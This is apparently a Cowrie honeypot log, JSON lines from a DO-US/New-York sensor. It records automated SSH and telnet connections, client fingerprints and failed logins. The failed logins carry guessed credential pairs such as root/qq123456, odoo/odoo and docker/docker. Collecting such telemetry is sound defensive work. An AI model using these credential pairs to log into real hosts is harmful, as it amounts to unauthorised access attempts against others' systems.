{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:20.963450Z","src_ip":"147.45.199.80","session":"776b9699f2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:21.063094Z","src_ip":"147.45.199.80","session":"776b9699f2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09061980","message":"login attempt [root/09061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:21.360924Z","src_ip":"147.45.199.80","session":"776b9699f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49574,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc4d7690b37e","protocol":"ssh","message":"New connection: 165.154.137.186:49574 (10.17.0.5:22) [session: cc4d7690b37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:22.072999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:22.077635Z","src_ip":"165.154.137.186","session":"cc4d7690b37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:22.322537Z","src_ip":"165.154.137.186","session":"cc4d7690b37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:22.472010Z","src_ip":"147.45.199.80","session":"776b9699f2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:23.055395Z","src_ip":"165.154.137.186","session":"cc4d7690b37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:24.302371Z","src_ip":"165.154.137.186","session":"cc4d7690b37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.20177435874939,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:45.486454Z","src_ip":"128.199.8.54","session":"0ec3d4858d6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"675374eb0c24","protocol":"telnet","message":"New connection: 94.23.66.112:39776 (10.17.0.5:23) [session: 675374eb0c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:47.012786Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51126,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fdcdbf08e78","protocol":"ssh","message":"New connection: 165.154.137.186:51126 (10.17.0.5:22) [session: 2fdcdbf08e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:55.761636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:55.766120Z","src_ip":"165.154.137.186","session":"2fdcdbf08e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:56.016360Z","src_ip":"165.154.137.186","session":"2fdcdbf08e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:56.767095Z","src_ip":"165.154.137.186","session":"2fdcdbf08e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:17:58.019128Z","src_ip":"165.154.137.186","session":"2fdcdbf08e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.298522472381592,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:07.311165Z","src_ip":"94.23.66.112","session":"675374eb0c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55130,"dst_ip":"10.17.0.5","dst_port":22,"session":"59988de7fabe","protocol":"ssh","message":"New connection: 165.154.137.186:55130 (10.17.0.5:22) [session: 59988de7fabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:10.918744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:10.930921Z","src_ip":"165.154.137.186","session":"59988de7fabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:11.183652Z","src_ip":"165.154.137.186","session":"59988de7fabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:11.945720Z","src_ip":"165.154.137.186","session":"59988de7fabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:13.214214Z","src_ip":"165.154.137.186","session":"59988de7fabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53196,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f31c38e6a1","protocol":"ssh","message":"New connection: 103.77.242.62:53196 (159.203.135.109:22) [session: d6f31c38e6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:15.116562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:15.120874Z","src_ip":"103.77.242.62","session":"d6f31c38e6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:15.361112Z","src_ip":"103.77.242.62","session":"d6f31c38e6a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05111990","message":"login attempt [root/05111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:16.090127Z","src_ip":"103.77.242.62","session":"d6f31c38e6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:17.333200Z","src_ip":"103.77.242.62","session":"d6f31c38e6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42532,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a30eb88eb1","protocol":"telnet","message":"New connection: 94.23.66.112:42532 (10.17.0.5:23) [session: 57a30eb88eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:19.793446Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35940,"dst_ip":"10.17.0.5","dst_port":22,"session":"905f12edc36f","protocol":"ssh","message":"New connection: 165.154.137.186:35940 (10.17.0.5:22) [session: 905f12edc36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:28.583880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:28.588064Z","src_ip":"165.154.137.186","session":"905f12edc36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:28.853579Z","src_ip":"165.154.137.186","session":"905f12edc36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:29.640458Z","src_ip":"165.154.137.186","session":"905f12edc36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:30.906402Z","src_ip":"165.154.137.186","session":"905f12edc36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.67394375801086,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:34.037253Z","src_ip":"107.6.151.170","session":"d6fd99a3795c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d78d0ff40ed","protocol":"ssh","message":"New connection: 165.154.137.186:38152 (10.17.0.5:22) [session: 1d78d0ff40ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:37.527848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:37.532459Z","src_ip":"165.154.137.186","session":"1d78d0ff40ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:37.784425Z","src_ip":"165.154.137.186","session":"1d78d0ff40ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:38.535325Z","src_ip":"165.154.137.186","session":"1d78d0ff40ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:39.787085Z","src_ip":"165.154.137.186","session":"1d78d0ff40ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42292,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5de117464c1","protocol":"ssh","message":"New connection: 165.154.137.186:42292 (10.17.0.5:22) [session: d5de117464c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:44.495317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:44.499523Z","src_ip":"165.154.137.186","session":"d5de117464c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:44.759356Z","src_ip":"165.154.137.186","session":"d5de117464c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:45.543884Z","src_ip":"165.154.137.186","session":"d5de117464c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":44428,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0875e34594f","protocol":"ssh","message":"New connection: 92.113.145.209:44428 (159.203.135.109:22) [session: f0875e34594f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:45.871428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:45.878603Z","src_ip":"92.113.145.209","session":"f0875e34594f","protocol":"ssh"}
